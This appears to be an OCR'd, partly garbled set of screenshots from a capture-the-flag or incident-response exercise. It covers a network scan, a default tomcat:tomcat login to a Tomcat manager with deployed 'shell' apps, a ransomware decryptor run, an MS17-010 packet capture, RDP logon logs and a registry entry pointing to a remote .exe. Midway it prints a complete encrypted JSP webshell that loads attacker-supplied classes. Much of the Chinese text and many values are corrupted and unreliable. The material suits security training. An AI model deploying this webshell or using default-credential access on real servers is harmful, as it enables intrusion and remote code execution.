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= RDP (lunnel s Microsotft SChannel |LS: unknown service)

L] 10.10.1.147 10.10.1.147 FO:FO:FO:FO:FO:FO
® RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.148 10.10.1.148 FO:FO:FO:FO:FQ:FO
™ RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.149 10.10.1.149 FO:FO:FO:FO:FO:FO

= 10.10.1.150 10.10.1.150 FO:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.151 10.10.1.1517 FO:FO:FO:FO:FQ:FO
® RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.152 10.10.1.152 FO:FO:FO:FO:FO:FO
™ RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.153 10.10.1.153 FO:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.154 10.10.1.154 F0:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= WIN-CMPM2NOMJ53 10.10.1.155 WORKGROUP DE:E4:A1:FO:BD:9D

‘ FTP (Microsoft ftpd)

™ RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.156 10.10.1.156 F0:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.157 10.10.1.157 F0:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.158 10.10.1.158 FO:FO:FO:FO:FO:FO
= RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.159 10.10.1.159 FO:FO:FO:FO:FO:FO
® RDP (Tunnel is Microsoft SChannel TLS: unknown service)

L] 10.10.1.160 10.10.1.160 FO:FO:FO:FO:FQ:FO
™ RDP (Tunnel is Microsoft SChannel TLS: unknown service)

= 10.10.1.161 10.10.1.161 FO:FO:FO:FO:FO:FO

= 10.10.1.162 10.10.1.162 FO:FO:FO:FO:FO:FO
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L] 10.10.1.52 10.10.1.52

L] 10.10.1.53 10.10.1.53

L] 10.10.1.54 10.10.1.54

L] 10.10.1.55 10.10.1.55

@ HTTP, BHFI&EFEE - (Apache Tomcat/Coyote JSP engine 1.1)

L] 10.10.1.56 10.10.1.56

L 10.10.1.57 10.10.1.57

L] 10.10.1.58 10.10.1.58
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Scan Stats & Info Vulnerabilities Site Structure Events

Activity [ Aborted |
Acunetix Threat Level 3
Overall progress 100%
One or more high-severity type vulnerabilities have been discovered
by the scanner. A malicious user can exploit these vulnerabilities and R .
compromise the backend database and/or deface your website. i Scanning of 10.10.1.55 started Jul 15,2020 5:30:42 PM
Scan Duration Requests Avg. Response Time Locations

8m 23s 8,368 26ms 180

Target Information Latest Alerts 17
Address 10.10.1.55 O Basic authentication over HTTP Jul 15,2020 5:31:59 PM
Server Apache-Coyote/1.1 (i) Possible username or password disclosure Jul 15,2020 5:31:59 PM

KILT LSS DA

# Attack details

Username: tomcat, Password: tomcat.

A HTTP request

GET /manager/html/ HTTP/1.1

Authorization: Basic dG9tY2F@OnRvbWNhdA==

Connection: keep-alive

Cookie: JSESSIONID=0932721EF2F5C7@1A18DF2CD13B5AABO

Accept: */*

Accept-Encoding: gzip,deflate

Host: 10.16.1.55:8080

User-Agent: Mozilla/5.8 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.8.3683.103 Safari/537.36

A HTTP response

HTTP/1.1 260 OK

Server: Apache-Coyote/1.1

Cache-Control: private

Expires: Thu, @1 Jan 1970 ©8:00:8@ CST

Set-Cookie: JSESSIONID=21C4373B5CE2AB1FA8@61AE615924441; Path=/manager/; HttpOnly
Content-Type: text/html;charset=utf-8

Patn: Wead 48 7.7 72276 A0G-2B-E& CMT

fEmanagerhtml B3R, FEXH LAER R, BRATTUAERANFIWEBSHELLEZE MWARE, B, 2 ftomcate k%4 B3R
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[ ) L
Start Stop Reload Undeploy

/manager None specified Tomcat Manager Application true 20 - - . N
| Expire sessions |W|th idle = ‘ 30 ‘ minu
Start -Stop ’m Undeploy

frr None specified true 8
| Expire sessions |w'\th idle = ‘ 30 ‘ mint
Start Reload | | Undeploy

[shell None specified true 0
| Expire sessions |with idle > ‘ 30 ‘ minu
Start Reload | | Undeploy

[tomcat None specified true 0
| Expire sessions |w'\th idle > ‘ 30 ‘ mint
Start Reload | | Undeploy

[whshell None specified true 0
| Expire sessions |with idle > ‘ 30 ‘ mint

Deploy directory or WAR file located on server

Context Path (required): :
XML Configuration file URL: :

WAR or Directory URL: ‘

(Do
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EGEM | B9 | SxRF, BHERE - - by BEE httpy//www.topronet.com

| LHIEZE: /var/lib/tomcat7/webapps/dama BKaeg : /
LRES TR SR £
1.bat 7 Bytes p:
|fvarflib.’tomcat?fwebappsfdama\ || FTEE | | FEER
RS | R +E
RIEROOTH F T FfEfag.txt, EHE TR AEF B A $KEflag
Name Size| Type Date
/1
[..]
O [admin] DIR 2020-7-15 17:06:33
[] [assets] DIR 2018-5-16 16:13:18
E] [error] DIR 2018-5-16 16:13:19
O [include] DIR 2018-5-16 16:13:19
O Tinstall] DIR 2018-5-16 16:13:17
O [META-INF] DIR 2018-5-16 16:13:17
O [post] B DIR 2020-7-15 17:31:11
O [struts] / DIR 2020-7-15 17:26:59
O [WEB-INF] /’ DIR 2018-5-16 16:16:53
[] flag.txt , 17 bytes| Jxt 2020-7-14 2:48:02
[] favicon.ico 9.43 KB ico 2018-2-25 21:44:54
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<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c)
{super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")

I=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);retun
n; }Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));n
ew U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader()

.readLine()))).newInstance().equals(pageContext) ;%>

JERHE T WEBJRFS &K E], BB T EBIREER, SLICTRHEESEDownT TR, R—THIE &K E X

Project »
ROOT

v admin
v error

>
>

fE A UKIG BEAT B4R 4, BREAF K Eflag, 2 /FRT GG BRI 2%

username= admin

md5 (password)= ee955f62cb93483a635817b9f263439¢e # cmd5 A Hi SR I 2L A EHE B iE B2 % A% —FEshenmiliu

BRI RBA K Biflag, 481 ) H AT A1 H Mflag B 4 K7
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Scan in progress
Please check log below for more information

Decryptor Started at Wed Jul 15 18:50:17 2020

Looking for ransom note ...

BHBENR, ROTERKKNE, FERTSHET, BERNE, REERE T i iiag
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> FAE (B) > cfBRTHRECE > ]

~

Get the best ransomware protection

R BUY NOW Bitdefender
Bitdefender 2019 intercepts any kind of ransomware attack.
TSN
#2 1 (1).msi
3 1 (1).pcapng
B e The threat is gone!
L 1.ido But there are several things you should be aware of
L 1id1
|j 1.nam
18 1.rar
2.exe You should always backup your data.
£ flag-txt You and your files' security is a continuous process. Make sure you keep your data protected at all times.
\ Next time we might not be able to help you recover your data.
==
WE 3

ST AT AZIRE B B30, T 17-01040 T 301

fi% 1(1) 2020/3/25 21:50 Windows Install... 1,184 KB

1 (1).pcapng 2020/7/1218:26 PCAPNG =z{% 917 KB
91 (2) 2020/5/4 13:19 MWEER 3,253 KB
B117-0103T 2020/7/1119:25 MREERF 73 KB

| CVE-2018-8120 2020/7/1113:12 MWEER 93 KB



Mz FRdump 43 3048 F k.
BH FRAMSFA B S iip, XBEEBERBITCH, MBS,
BAT17-010% T 3+ HIng

2 9.000116 Vmware_ed:b8:47 Vmware_f4:ef:8f ARP 60 192.168.182.2 is at 0@:50:56:e
3 0.000123 192.168.182.128 192.168.43.135 TCP 66 49243 » 1234 [SYN] Seq=0 Win=8192 Len=0 MSS=146@ WS=256 SACK_PERM=1
i 192.168.43.135 [TcP R smission] 4 > 1 1] 0 Win=8192 @M _PERM=1

6 21.007405 192
7 21.00 7

192.

192.
93 E 192. 1 182.1 192. A3,
10 34.837695 Vmware_f4:ef:8f Vmware_ed:b8:47

11 34.838254 Vmware_ed:b8:47 Vmware_f4:ef:8f ARP 60 192.168.182.2 is at 00:58:56:ed:bg:47
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HE 2P R Bl TerminalServices-RemoteConnectionManager
e H EFE 5 11494ip

A

A WEHEE ~
iR BES BTEW  #ERIH)

> L1 NDIs “|7 Bl Micosoft-Windows-TerminalServices-RemoteConnectionManager/Operational; 578: ; 34 ID: 1149, Z#: 570
» 7] Netwerk Access P
> NetworkProfile FEEENET 8 =y
e :ffh‘;“ 2020/7/15 9:03:07 TerminalServices-RemateConnectionMan.. 1
S 2020,7/15 9:0307 TerminalServices-RemoteConnectionMan... 1
| OfflineFiles . A i
2020/7/15 9:03:07 TerminalServices-RemoteConnectionMan... 1
> [ ParentalControls
2020,7/15 2:03:06 TerminalServices-RemoteConnectionMar.. 1
» 7] PeopleMNearMe
2020/7/15 9:0256 TerminalServices-RemoteConnectionMan... 1
> FowerShell
7 BrimaryNetworklc: 2020,7/15 9:0256 TerminalServices-RemoteConnectionMan... 1
| PrintService 2020/7/15 9:02:56 TerminalServices-RemoteConnectionMan... 1
| ReadyBoost 2020,7/15 9:0256 TerminalServices-RemoteConnectionMar. 1
- 7] ReadyB oostDriver 2020/7/15 8:40:20 TerminalServices-RemoteConnectionMan... 1
+ ] Recovery 202047715 8:20:17 TerminalServices-RemoteConnectionMan... 1
» [7] Reliability-Analysis 2020/7/15 B:18:15 TerminalServices-RemoteConnsctionManiu. 1
- [ Remotespp and C 2020,7/15 8:15:46 TerminalServices-RemoteConnectionMan... 1
7| RemoteAssistance 2020/7/15 7:13:58 TerminalServices-RemoteConnectionMan... 1
> [7] RemateDesktopSe 2020/7/15 7:07:26 TerminalServices-RemoteConnectionMan... 1
> 1] Resource-Exhausti 2020,7/15 4:48:26 TerminalServices-RemoteConnectionMar.. 1
» [ Resource-Bxhausti 20307414 4:28:71 TerminalSenvices-Remotatonnectionfan... 1
» K Resource-Leak-Di: 2020/7/14 4:28:21 TerminalServices-RemoteConnectionMan... 1
- RastalrtManalger 2020/7/14 4:28:21 TerminalServices-RemoteConnectionMan... 1
 Security-Audit-Cor 20207/14 4:28:21 TerminalSences-RemoteConnectionhan.. 1
[ Security-Identitylis 2020/7/14 4:28:21 TerminalSenvices-RemoteConnectionMan... 1
» [ s Reporti . . .
- Se,"l'c: sporting 02047114 4:28:20 TerminalServices-RemoteConnectionMan 1
» L Stic) otes
. k: e % 1149, TerminalServices-RemoteConnectionManager
> [7] TaskScheduler
| TerminalServices-( B s
1 TerminalServices-(
> ] TerminalServices-L EIS SRS P SRS TEETh:
> ] TerminalServices-F
4 [ TerminalServices-F
i FEFs: manager
min
DT el
o TZul EREN: 192.168.1.101
s [ uac
» 7] UAC-FileVirtualizat v
< >
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| GDIPlus - &' = R
& 1AM 5] (@854) REG_SZ AR
& IME a8 url1 REG_SZ hitpyfwww.baidu.com/
“ds IMEP 8]url2 REG_SZ hitpy//gomicrosoft.com/fwlink/?Linkld=69157
»
- I

- . Internet Connection Wizard ) url3 REG_SZ http://26.37.96.96/long/11862.exe
. Internet Explorer

. BrowserEmulation
. Desktop

. Document Windows
| DOMStorage

. Download

. Help_Menu_URLs
1ETId

. IntelliForms
International

. InternetRegistry
- J. LinksBar

. LinksExplorer

b= . LowRegistry
Main

- ) New Windows

— ). PageSetup
Recovery

- ). SearchScopes

. SearchUrl
Security

. Services

- J Settings

Setup

SQM

. Suggested Sites

m

. Toolbar
+ . TypedURLs
. URLSearchHooks
L. User Preferences
! ). Zoom
. Keyboard
. MediaPlayer
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5 flag.txt.txt 28 48 2020-07-1...
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